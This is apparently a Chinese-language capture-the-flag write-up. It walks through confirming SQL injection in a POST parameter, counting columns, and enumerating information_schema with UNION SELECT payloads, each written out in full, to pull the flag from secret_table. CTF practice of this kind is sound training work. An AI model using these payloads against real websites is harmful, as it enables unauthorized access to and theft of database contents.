访问目标地址,发现是一个叫做黑客新闻的页面
随便输入了一下,发现是一个post传输的参数,并且明文传输,初步判断可能存在注入
加入一个单引号看一下,可以发现确实报错了
再在后面加入#试一下
可以发现确实是存在注入的,且第一个单引号闭合了输入逻辑,#注释掉了后面的单引号,试着找一下字段数吧
asd'union select 1,2,3 # 使用该语句时未报错,当数字为1或者1,2时报错,得出字段数为3
看页面回显发现,能够显示的位置为,二号位和三号位,之后可以在二号位和三号位输入执行语句
asd' union select 1,2,table_name from information_schema.tables # 查询表
asd' union select 1,column_type,column_name from information_schema.columns where table_name='secret_table' # 利用information_schema.columns的结构来获得secret表的信息,在二号位加上字段类型
现在已经确认了flag确实存在在这个位置,直接用表和字段来确认即可
asd' union select 1,2,fl4g from secret_table #
成功得到flag!